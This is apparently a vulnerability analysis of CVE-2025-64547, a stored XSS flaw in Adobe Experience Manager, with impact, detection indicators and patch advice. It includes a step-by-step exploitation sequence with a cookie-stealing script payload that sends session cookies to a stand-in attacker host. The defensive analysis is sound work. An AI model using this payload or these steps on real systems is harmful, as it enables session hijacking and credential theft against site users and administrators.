CVE-2025-64547: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64547 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated, low-privileged attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any user who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and operates across a changed scope (S:C), meaning the injected script can affect resources beyond the vulnerable component's security domain. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further lateral movement within the AEM environment. The changed scope means the impact can extend beyond the attacker's own session to affect other users, including administrators. Confidentiality and integrity are both at low risk per the CVSS assessment, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using version disclosure in HTTP headers, login pages, or public asset paths.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Identify vulnerable form fields: Navigate to AEM content authoring interfaces and identify form fields that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or perform unauthorized actions via the victim's authenticated session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System / Content Repository: Stored content nodes in the AEM JCR repository containing unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded XSS strings in text fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages, potentially carrying cookie or session data as query parameters.
• Browser/Application: Unexpected JavaScript execution errors or redirects reported by users browsing AEM-published pages (Adobe Advisory).

Adobe has released patches addressing CVE-2025-64547 as part of security bulletin APSB25-115, published December 9, 2025. Organizations running AEM on-premises should upgrade to version 6.5.24.0 or later; AEM Cloud Service customers should ensure their environment is updated to the 2025.12.0 release or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content authoring permissions and apply the principle of least privilege to limit the accounts that can publish content (Adobe Advisory, CIS Advisory).

The Center for Internet Security (CIS) published an advisory noting that multiple vulnerabilities in Adobe products, including those addressed in APSB25-115, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable released a Nessus detection plugin (ID 278346) for this vulnerability shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to CVE-2025-64547 has been identified beyond standard vulnerability aggregator coverage.